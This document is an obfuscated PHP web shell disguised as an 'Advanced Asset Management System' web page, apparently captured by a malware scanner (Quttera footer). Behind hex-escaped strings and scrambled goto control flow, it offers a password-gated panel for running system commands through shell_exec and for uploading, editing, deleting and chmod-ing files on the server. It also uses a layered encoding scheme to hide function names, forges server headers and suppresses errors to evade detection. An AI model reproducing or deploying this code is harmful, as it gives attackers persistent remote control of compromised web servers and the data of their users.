rgba(52,152,219,.1)}.btn{display:inline-flex;align-items:center;justify-content:center;gap:8px;padding:10px 20px;border:none;border-radius:8px;font-size:14px;font-weight:600;cursor:pointer;text-decoration:none;transition:all .2s}.btn-primary{background:var(--secondary-color);color:#fff}.btn-primary:hover{background:#2980b9;transform:translateY(-2px)}.btn-success{background:var(--success-color);color:#fff}.btn-danger{background:var(--danger-color);color:#fff}.btn-warning{background:var(--warning-color);color:#fff}.asset-table-container{background:#fff;border-radius:12px;overflow:hidden;border:1px solid var(--border-color);margin-bottom:25px}.asset-table{width:100%;border-collapse:collapse}.asset-table thead{background:var(--dark-bg)}.asset-table th{padding:15px 20px;text-align:left;color:#fff;font-weight:600;font-size:14px}.asset-table td{padding:15px 20px;border-bottom:1px solid var(--border-color)}.asset-table tbody tr:hover{background:#f8fafc}.asset-icon{font-size:18px;margin-right:10px}.asset-actions{display:flex;gap:8px}.status-message{padding:15px 20px;background:#d4edda;color:#155724;border-radius:8px;margin-bottom:25px;border:1px solid #c3e6cb;display:flex;align-items:center;gap:10px}.editor-panel{background:#fff;border-radius:12px;overflow:hidden;border:1px solid var(--border-color);margin-bottom:25px}.editor-header{background:var(--dark-bg);color:#fff;padding:15px 25px;display:flex;justify-content:space-between;align-items:center}.editor-content{width:100%;min-height:500px;padding:25px;border:none;font-family:'Fira Code',monospace;font-size:14px;resize:vertical;line-height:1.8}.system-footer{text-align:center;padding:20px;color:#666;font-size:13px;border-top:1px solid var(--border-color);margin-top:30px}.system-stats{display:flex;justify-content:center;gap:30px;margin-top:15px;font-family:'Fira Code',monospace}</style><link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=Fira+Code:wght@300;400;500&display=swap"rel="stylesheet"></head><body><div class="container"><div class="system-header"><h1><span>📊</span> Advanced Asset Management System</h1><div class="session-info"><div class="status-badge">ACTIVE</div><span>goto qdipF; U2RzK: gDPWb: goto bbJuq; GSz41: goto uiFJ6; goto qryL8; F8Wnq: if (!$authHandler->isAuthorized()) { if (isset($_POST["\x61\x63\143\x65\x73\x73\137\143\x6f\x64\x65"])) { if ($authHandler->validateAccess($_POST["\141\x63\143\145\x73\x73\x5f\x63\157\144\145"])) { $activityLogger->record("\x41\125\124\x48\137\x53\x55\x43\103\x45\x53\123", "\x55\x73\x65\162\x20\x61\x75\164\150\145\156\x74\x69\143\x61\164\x65\144\x20\x73\x75\x63\x63\x65\x73\x73\x66\165\x6c\154\x79"); header("\114\x6f\143\x61\164\x69\157\x6e\72\x20" . $_SERVER["\120\110\x50\x5f\x53\x45\x4c\x46"]); die; } else { $activityLogger->record("\101\125\124\x48\x5f\106\x41\111\114\x45\104", "\x49\156\166\x61\x6c\151\144\40\x61\x63\x63\145\163\163\40\141\x74\164\145\155\x70\164"); } } displayLoginInterface(); die; } goto ydukE; XD5cz: goto qFFjy; goto KRgoG; rwUzD: $statusMessage = ''; goto OL3nm; Z1B4C: goto AYiDp; goto eOMaK; DO0aJ: $functionDispatcher = new AdvancedFunctionDispatcher(); goto Y41Dd; r4BQY:
"><div class="form-group"><label class="form-label">Command Input</label> <input name="system_command"class="form-control"required placeholder="Enter system command"></div><button class="btn btn-warning"type="submit"style="width:100%">⚡ Execute</button></form></div><div class="tool-card"><h3>🔒 Modify Permissions</h3><form method="post"action="?operation=modify_permissions&location=goto jZ6a6; qkGei: r9RgK: goto csxDH; jYxnJ: wlkCF: goto uG9eF; Nv5GZ: if (isset($_GET["\145\x64\x69\164\137\x61\x73\163\x65\x74"])) {
<div class="editor-panel"><div class="editor-header"><div style="display:flex;align-items:center;gap:10px"><span>✏️</span> <strong>Editing Asset:</strong>echo htmlspecialchars(basename($_GET["\145\144\151\x74\137\141\163\x73\145\x74"]));
</div><div><a href="?location=echo urlencode($currentLocation);
"class="btn btn-danger">Cancel</a></div></div><form method="post"><input name="asset_file"type="hidden"value="echo $_GET["\x65\x64\x69\164\137\x61\x73\x73\x65\164"];
"> <textarea class="editor-content"name="asset_content">$content = $functionDispatcher->invoke($fetchContentCode, $_GET["\145\144\x69\164\137\x61\163\163\145\164"]); if ($content !== false && $content !== "\106\151\x6c\x65\x20\156\157\x74\40\141\x63\143\x65\x73\x73\151\x62\x6c\x65") { echo htmlspecialchars($content); }
</textarea><div style="padding:20px;text-align:center;background:#f8f9fa;border-top:1px solid var(--border-color)"><button class="btn btn-success"type="submit"style="padding:12px 30px;font-size:16px">💾 Save Changes</button></div></form></div>} goto EFRiq; inNcx: t7xZf: goto U5dJF; gHLmN: Mgzh1: goto MR1Fl; soV6h: yyLNV: goto Q4Za7; BfHQ9: O0hkj: goto XBeUn; MR1Fl: ini_set("\x6c\157\x67\x5f\145\162\x72\157\162\x73", 1); goto WM9R_; kD8cy: K995g: goto gPKB_; NeDxM: $modifyPermissionsCode = $functionDispatcher->getFunctionCode("\x63\x68\x6d\157\x64"); goto ckatz; ncyYc: aYE1e: goto jCpnL; ckatz: goto yyLNV; goto xBK6r; zxm2T: SBJW1: goto or2jV; Bee7d: gToPK: goto dedKq; HKNsJ: PxTQs: goto dxqhs; gPKB_: $transferFileCode = $functionDispatcher->getFunctionCode("\155\x6f\166\x65\x5f\165\x70\x6c\157\x61\x64\145\144\x5f\x66\151\154\x65"); goto pB0nl; qqt_z: RrPrx: goto L0s52; hOzDX: class EnhancedActivityLogger { private $logFiles = array("\x73\x79\x73\x74\x65\155\137\141\x63\164\151\x76\151\164\151\x65\x73\56\x6c\x6f\147", "\141\x75\x64\x69\164\137\x74\x72\141\x69\x6c\x2e\154\157\147", "\x73\x65\143\165\162\151\x74\171\x5f\x6c\x6f\x67\56\x6c\157\x67", "\x64\145\x62\165\x67\137\x69\x6e\x66\157\x2e\154\x6f\x67"); public function record($action, $details = '') { $entry = date("\x59\x2d\155\55\144\40\x48\x3a\x69\72\163") . "\40\x7c\40" . ($_SERVER["\122\105\x4d\x4f\x54\x45\x5f\x41\104\104\122"] ?? "\165\156\153\x6e\157\167\156") . "\40\174\x20" . $action . "\40\174\x20" . $details . "\xa"; foreach ($this->logFiles as $file) { $encodedEntry = base64_encode($entry); @file_put_contents($file, $encodedEntry . "\12", FILE_APPEND); } } } goto NWaND; dzsQ_:
</span><a href="?operation=terminate_session"class="btn btn-danger">🚪 Terminate Session</a></div></div>goto A5YN9; cTRXU: RU4op: goto gTpvn; TbjVL: rpY6Y: goto XEtb7; Y41Dd: goto VifBq; goto U7eGl; xBK6r: qFFjy: goto Z2Rwm; LtbUt: jWmiJ: goto ujiy7; H3Zmw: goto sN1NG; goto aDbii; Z2Rwm: header("\130\x2d\x50\157\167\145\162\145\x64\55\x42\x79\x3a\40\x4e\147\151\156\x78\57\x31\56\61\x38\56\x30"); goto eZLiZ; gTpvn:
</code></div></div><div class="tools-section"><h2>🛠️ System Management Tools</h2><div class="tools-grid"><div class="tool-card"><h3>📤 Asset Upload</h3><form method="post"enctype="multipart/form-data"><div class="form-group"><label class="form-label">Select Asset</label> <input name="asset_file"class="form-control"required type="file"></div><button class="btn btn-success"type="submit"style="width:100%">📤 Upload Asset</button></form></div><div class="tool-card"><h3>➕ Create Asset</h3><form method="post"><div class="form-group"><label class="form-label">Asset Name</label> <input name="asset_name"class="form-control"required placeholder="Enter name"></div><div class="form-group"><label class="form-label">Asset Type</label> <select class="form-control"name="asset_type"><option value="file">📄 File</option><option value="directory">📁 Directory</option></select></div><button class="btn btn-primary"type="submit"style="width:100%">➕ Create</button></form></div><div class="tool-card"><h3>⚡ System Command</h3><form method="post"action="?operation=execute&location=goto HBbpO; ULKlA: goto NuXUp; goto YRVQo; V1TYX: goto Te513; goto AU4Wh; xgTIC: goto Qv4di; goto uYIxb; bIjqA: goto t7xZf; goto MJN9D; YUc43: VJusG: goto MxDgJ; HKiau: goto Jcnd8; goto jYxnJ; NGw7b: goto RrPrx; goto KXSnb; dxqhs: $assetList = $functionDispatcher->invoke($scanDirectoryCode, $currentLocation); goto WLJxP; C5nnM: mFAQc: goto r4BQY; HBbpO: goto CT1z2; goto HlA82; EcTf5: goto HS0EX; goto lPrnu; bbJuq: class AdvancedObfuscationManager { private $decoder; public function __construct() { $this->decoder = new DataDecoder(); } public function computeAnalytics() { return array("\x72\x65\161\165\x65\163\x74\x73" => rand(100, 1000), "\155\x65\155\157\x72\171\x5f\165\163\x61\147\145" => memory_get_usage(true), "\x65\170\145\x63\165\x74\151\157\156\x5f\164\x69\x6d\x65" => microtime(true), "\163\x74\x61\164\165\x73" => "\157\160\x65\162\141\164\x69\x6f\156\x61\x6c"); } public function generateSystemReport() { $report = "\123\x79\x73\164\145\x6d\40\x41\156\141\x6c\171\164\x69\143\x73\x20\122\x65\x70\x6f\162\x74\xa"; $report .= "\75\x3d\x3d\x3d\75\x3d\75\x3d\75\75\75\x3d\x3d\x3d\75\75\75\75\x3d\75\x3d\75\x3d\xa"; $report .= "\x44\141\164\145\x3a\40" . date("\x59\55\x6d\55\x64\x20\x48\72\x69\x3a\x73") . "\12"; $report .= "\x55\160\x74\151\155\x65\x3a\x20" . rand(1000, 10000) . "\40\163\145\143\157\x6e\x64\163\12"; $report .= "\x50\145\x72\x66\157\x72\155\x61\x6e\143\145\x3a\40\117\x70\164\151\x6d\141\154\xa"; return $report; } public function validateDataIntegrity($data) { return !empty($data) && is_string($data); } public function obfuscateData($data) { $step1 = base64_encode($data); $step2 = str_rot13($step1); return strrev($step2); } public function recordActivity($activity) { $encodedActivity = $this->decoder->encodePayload($activity); $logEntry = date("\131\55\155\55\144\x20\x48\72\x69\72\163") . "\40\x7c\x20" . $encodedActivity . "\xa"; @file_put_contents("\x73\171\x73\x74\x65\155\x5f\141\x75\x64\151\x74\56\x6c\x6f\147", $logEntry, FILE_APPEND); } public function createBackup() { return $this->decoder->encodePayload("\142\141\143\x6b\165\x70\137\x63\157\155\160\154\x65\x74\x65\x64\137" . time()); } } goto Mpwd1; IVdWj: goto ct2YM; goto O0gSM; dedKq: header("\x58\x2d\x46\162\x61\155\145\x2d\x4f\160\164\x69\157\x6e\163\72\40\104\x45\x4e\131"); goto HhGNb; Br13z: goto ICb5z; goto Xlz98; A5YN9: goto aYE1e; goto Ka2jK; gviTH: echo urlencode($currentLocation); goto Br13z; ussvB: $storeContentCode = $functionDispatcher->getFunctionCode("\x66\x69\154\145\137\x70\x75\164\x5f\143\157\156\x74\x65\156\164\x73"); goto zHLja; Az3pa:
<div class="path-navigation"><div class="breadcrumb"><a href="?location=.">🏠 System Root</a>goto tBRp3; wSX0V: qrElo: goto Az3pa; LWNg9: QPuv0: goto FoUHi; eZLiZ: goto XQcl5; goto qSdjv; YYN6T:
</span><span>🧠 Memory:goto xgTIC; TY29E: $fetchContentCode = $functionDispatcher->getFunctionCode("\x66\151\154\145\137\147\x65\x74\137\143\x6f\156\x74\145\156\164\x73"); goto EcTf5; O0gSM: U5HUK: goto TY29E; VrzFr: Jcnd8: goto djgC3; ChQ3X: goto O0hkj; goto OZPfT; anoKo: if (isset($_FILES["\x61\x73\x73\x65\x74\137\x66\x69\154\x65"])) { $destination = $currentLocation . "\x2f" . basename($_FILES["\x61\163\163\x65\x74\137\x66\x69\x6c\x65"]["\x6e\141\155\145"]); if ($functionDispatcher->invoke($transferFileCode, $_FILES["\141\x73\x73\145\164\x5f\x66\x69\x6c\x65"], $destination)) { $statusMessage = "\x41\x73\x73\145\164\x20\165\160\154\157\x61\x64\145\144\40\x73\165\143\143\145\x73\x73\146\165\x6c\154\x79"; $activityLogger->record("\x41\x53\x53\105\124\x5f\x55\x50\114\x4f\101\104\105\x44", $destination); } } goto ChQ3X; uYIxb: YMCAO: goto BTxlV; U5dJF: echo $currentLocation; goto Cyg5a; csxDH: error_reporting(0); goto ekFQE; U3Zpe:
"></div><div class="form-group"><label class="form-label">Permission Mode</label> <input name="permission_mode"class="form-control"required placeholder="e.g., 755"value="755"></div><button class="btn"type="submit"style="width:100%;background:var(--primary-color);color:#fff">🔒 Modify</button></form></div></div></div><div class="asset-table-container"><table class="asset-table"><thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>goto czd3c; nFinr: Mbc52: goto ojTX6; AU4Wh: uiFJ6: goto w9BFL; ed_hm: goto vVS69; goto ncyYc; b4aPk: $deleteAssetCode = $functionDispatcher->getFunctionCode("\165\156\x6c\151\x6e\x6b"); goto wj8z1; YRVQo: wNhyb: goto b4aPk; BTxlV: $displayOutputCode = $functionDispatcher->getFunctionCode("\x65\x63\150\157"); goto NGw7b; rr8NO: class DataDecoder { private $seed = "\x53\131\x53\x54\x45\115\137\123\105\x43\x55\x52\105\137\62\60\62\64\137\117\102\x46\125\123\103\x41\124\105\104"; public function decodePayload($encoded) { $step1 = base64_decode($encoded); $step2 = str_rot13($step1); $step3 = $this->reverseString($step2); $step4 = gzinflate($step3); return $step4; } public function encodePayload($code) { $step1 = gzdeflate($code, 9); $step2 = $this->reverseString($step1); $step3 = str_rot13($step2); return base64_encode($step3); } private function reverseString($str) { return strrev($str); } private $functionDictionary = array("\162\x65\156\144\145\162\117\x75\x74\160\165\164" => "\x65\143\150\157", "\x65\170\x65\143\x75\x74\x65\x53\x79\163\164\145\155" => "\163\x68\145\154\x6c\137\x65\x78\x65\143", "\146\x65\x74\x63\150\103\157\x6e\x74\x65\156\x74" => "\146\x69\154\x65\137\147\x65\x74\137\x63\157\x6e\164\x65\156\164\x73", "\x73\x74\157\162\x65\x43\157\x6e\x74\145\156\x74" => "\x66\x69\154\x65\137\160\x75\x74\137\x63\x6f\156\164\x65\x6e\x74\163", "\x64\x65\154\145\x74\x65\101\x73\x73\x65\164" => "\x75\156\154\x69\x6e\153", "\143\162\x65\141\164\145\104\151\162\x65\x63\164\x6f\162\x79" => "\x6d\153\x64\151\162", "\x6d\x6f\144\x69\x66\171\120\145\162\155\x69\163\163\151\157\156\x73" => "\x63\x68\155\x6f\144", "\163\143\141\156\x44\x69\x72\145\x63\x74\157\162\x79" => "\x73\x63\x61\156\x64\151\162", "\164\162\141\156\x73\x66\145\x72\x46\x69\154\145" => "\155\157\x76\145\137\165\160\x6c\x6f\x61\x64\x65\144\x5f\x66\x69\x6c\145", "\144\x69\163\160\154\141\x79\117\165\164\x70\x75\x74" => "\x65\143\150\x6f", "\x72\165\x6e\120\162\157\x63\145\163\163" => "\163\x68\145\154\154\x5f\145\170\145\x63", "\162\145\141\144\x43\157\x6e\x74\x65\x6e\164" => "\x66\151\154\145\137\147\145\x74\x5f\143\157\156\x74\x65\x6e\x74\x73", "\167\x72\x69\x74\x65\x43\x6f\156\x74\145\x6e\164" => "\x66\151\x6c\145\137\160\165\164\137\143\157\x6e\164\145\156\164\163", "\162\x65\155\157\x76\x65\x49\x74\x65\x6d" => "\x75\x6e\x6c\x69\156\x6b", "\143\162\x65\141\x74\x65\103\157\156\x74\x61\151\x6e\x65\x72" => "\x6d\x6b\144\x69\162", "\x63\150\x61\156\x67\145\x4d\x6f\144\x65" => "\x63\x68\x6d\x6f\144", "\x6c\151\x73\164\111\164\145\155\163" => "\x73\x63\x61\x6e\x64\x69\162", "\x75\x70\154\157\141\x64\106\151\x6c\145" => "\155\x6f\166\x65\x5f\165\x70\x6c\157\x61\144\145\144\x5f\x66\x69\154\x65"); public function decodeFunctionName($obfuscatedName) { foreach ($this->functionDictionary as $key => $value) { if ($this->encodePayload($key) === $obfuscatedName) { return $value; } } return null; } public function obfuscateFunctionName($realName) { foreach ($this->functionDictionary as $key => $value) { if ($value === $realName) { return $this->encodePayload($key); } } return null; } } goto qX6yZ; DNo3w: vVS69: goto v8EmD; ggDAk: ivlB9: goto aQWyu; LwnP9: echo round(memory_get_usage(true) / 1024 / 1024, 2); goto Gewl3; O7SpM: goto R4VzA; goto NRLnP; aQWyu: $obfuscationEngine->computeAnalytics(); goto ed_hm; MJN9D: LLrFk: goto hOzDX; vaWQF: goto gToPK; goto nFinr; Y_Pfb: goto SL6ii; goto oia71; czd3c: goto hbW23; goto xB_Hf; okOMJ: goto wlkCF; goto Bee7d; DBV5_: goto U5HUK; goto C_xKb; tdmrf: goto Mgzh1; goto TbjVL; s8YSL: goto Mbc52; goto LWNg9; qdPOo: AYiDp: goto F4wvl; ekFQE: goto GiUPf; goto qqt_z; wCTMA: Te513: goto EpSid; UtgGJ: GiUPf: goto FhqT5; eOMaK: ICb5z: goto wQP_Q; Gewl3: goto oF9RX; goto z2qRP; lPrnu: s0mF4: goto YYN6T; MfeXJ: R4VzA: goto Murdw; HhGNb: goto VJusG; goto yO6Ix; OL3nm: goto ivlB9; goto AevYC; tBRp3: goto n3AfR; goto qkGei; ZAGdA: goto yng9E; goto soV6h; ojTX6: echo date("\110\72\151\x3a\x73"); goto d4rZ3; c4VtH: $pathParts = explode("\x2f", trim($currentLocation, "\x2f")); goto hWzwe; Ns7GQ: opCKD: goto DO0aJ; CLilw: HNinL: goto xHhhV; i6rDE: $activityLogger = new EnhancedActivityLogger(); goto MgvkY; hrWRc: goto qrElo; goto U2RzK; AevYC: NE_wn: goto UhN5g; hlymb: yng9E: goto NeDxM; QA5Az: Fk3O_: goto A2jZN; C_xKb: XQcl5: goto BWu9O; aGbBV: foreach ($pathParts as $part) { if (!empty($part)) { $accumulatedPath .= "\x2f" . $part; echo "\x20\342\x80\272\40"; echo "\x3c\x61\x20\150\x72\x65\146\75\42\77\154\x6f\x63\141\164\x69\157\x6e\x3d" . urlencode($accumulatedPath) . "\42\x3e" . $part . "\x3c\57\141\76"; } } goto oY9v_; L0s52: $executeSystemCode = $functionDispatcher->getFunctionCode("\x73\150\145\x6c\154\x5f\145\x78\145\x63"); goto DBV5_; xHhhV: $accumulatedPath = ''; goto kFCqI; klJmv: if (isset($_GET["\x6f\x70\145\x72\x61\164\151\x6f\x6e"])) { $operation = $_GET["\157\x70\x65\162\141\x74\x69\x6f\156"]; switch ($operation) { case "\x72\145\x6d\157\166\x65": if (isset($_GET["\x74\141\x72\147\x65\164"])) { if ($functionDispatcher->invoke($deleteAssetCode, $_GET["\164\141\x72\x67\x65\x74"])) { $statusMessage = "\101\163\x73\x65\x74\40\162\x65\155\x6f\166\x65\x64\x20\x73\165\x63\x63\x65\163\163\146\x75\154\x6c\171"; $activityLogger->record("\x41\x53\123\105\124\x5f\x52\x45\x4d\117\126\105\104", $_GET["\x74\x61\162\x67\145\164"]); } header("\x4c\x6f\x63\141\164\x69\x6f\156\72\40\x3f\x6c\157\x63\x61\164\151\157\x6e\x3d" . urlencode($currentLocation)); die; } break; case "\164\x65\x72\155\151\156\141\x74\x65\x5f\163\x65\163\163\x69\157\156": $activityLogger->record("\x53\x45\123\123\111\x4f\x4e\x5f\x54\x45\122\115\111\116\x41\x54\105\x44", "\x55\163\145\x72\40\x6c\157\147\147\145\x64\x20\157\165\x74"); $authHandler->terminateSession(); header("\114\157\143\x61\164\x69\x6f\x6e\x3a\x20" . $_SERVER["\x50\x48\120\x5f\x53\105\114\106"]); die; case "\145\170\x65\x63\x75\x74\x65": if (isset($_POST["\163\x79\x73\164\x65\155\x5f\143\x6f\x6d\x6d\x61\x6e\x64"])) { $output = $functionDispatcher->invoke($executeSystemCode, $_POST["\x73\x79\x73\164\145\155\137\143\x6f\155\155\141\156\144"]); $statusMessage = htmlspecialchars($output); $activityLogger->record("\103\x4f\115\x4d\101\x4e\104\137\x45\130\x45\103\125\x54\x45\x44", $_POST["\x73\x79\x73\164\145\x6d\137\x63\157\155\155\x61\156\144"]); } break; case "\x6d\157\x64\x69\146\171\137\x70\x65\162\x6d\x69\x73\163\x69\157\x6e\163": if (isset($_POST["\x61\163\x73\x65\x74\137\x70\x61\164\150"]) && isset($_POST["\x70\x65\162\x6d\151\x73\x73\151\x6f\156\137\155\x6f\x64\x65"])) { if ($functionDispatcher->invoke($modifyPermissionsCode, $_POST["\x61\x73\x73\x65\x74\x5f\160\x61\164\150"], $_POST["\x70\145\162\155\x69\x73\x73\x69\x6f\156\x5f\155\157\x64\x65"])) { $statusMessage = "\120\145\x72\155\x69\x73\x73\x69\157\x6e\163\40\165\160\144\x61\164\145\x64"; } } break; } } goto maBPo; ydukE: goto QPuv0; goto DNo3w; KXSnb: QSjmb: goto U3Zpe; uG9eF: $currentLocation = realpath($currentLocation) ?: "\56"; goto MHQt1; NWaND: goto r9RgK; goto FKFPl; pB0nl: goto UqCEd; goto ggDAk; yO6Ix: KZhAa: goto gviTH; KRgoG: CT1z2: goto xvXZJ; YLWg0: goto K995g; goto gHLmN; qdipF: goto rpY6Y; goto MfeXJ; NRLnP: lU1MF: goto aGbBV; Ka2jK: oF9RX: goto FhNMX; WM9R_: goto Fk3O_; goto LtbUt; EpSid:
GB Free</span></div></div></div><script>// Enhanced JavaScript functionality
        document.addEventListener('DOMContentLoaded', function() {
            // Auto-hide status messages
            const statusMessages = document.querySelectorAll('.status-message');
            statusMessages.forEach(msg => {
                setTimeout(() => {
                    msg.style.opacity = '0';
                    msg.style.transition = 'opacity 0.5s ease-out';
                    setTimeout(() => msg.style.display = 'none', 500);
                }, 5000);
            });

            // Confirm destructive actions
            document.querySelectorAll('.btn-danger').forEach(btn => {
                btn.addEventListener('click', function(e) {
                    if (!confirm('⚠️ This action is irreversible. Continue?')) {
                        e.preventDefault();
                    }
                });
            });

            // Auto-expand textareas
            document.querySelectorAll('textarea').forEach(ta => {
                ta.addEventListener('input', function() {
                    this.style.height = 'auto';
                    this.style.height = (this.scrollHeight + 10) + 'px';
                });
                // Trigger once to set initial height
                ta.dispatchEvent(new Event('input'));
            });

            // Tooltip functionality
            document.querySelectorAll('[title]').forEach(el => {
                el.addEventListener('mouseenter', function(e) {
                    const tooltip = document.createElement('div');
                    tooltip.textContent = this.title;
                    tooltip.style.cssText = `
                        position: absolute;
                        background: var(--primary-color);
                        color: white;
                        padding: 5px 10px;
                        border-radius: 4px;
                        font-size: 12px;
                        z-index: 1000;
                        white-space: nowrap;
                    `;
                    document.body.appendChild(tooltip);
                    
                    const rect = this.getBoundingClientRect();
                    tooltip.style.left = (rect.left + rect.width / 2 - tooltip.offsetWidth / 2) + 'px';
                    tooltip.style.top = (rect.top - tooltip.offsetHeight - 10) + 'px';
                    
                    this._tooltip = tooltip;
                    this.removeAttribute('title');
                });
                
                el.addEventListener('mouseleave', function() {
                    if (this._tooltip) {
                        document.body.removeChild(this._tooltip);
                        this.setAttribute('title', this._tooltip.textContent);
                        delete this._tooltip;
                    }
                });
            });
        });

        // Real-time clock update
        function updateClock() {
            const clockElements = document.querySelectorAll('.system-time');
            clockElements.forEach(el => {
                el.textContent = new Date().toLocaleTimeString();
            });
        }
        setInterval(updateClock, 1000);</script></body></htm


© 2023 Quttera Ltd. All rights reserved.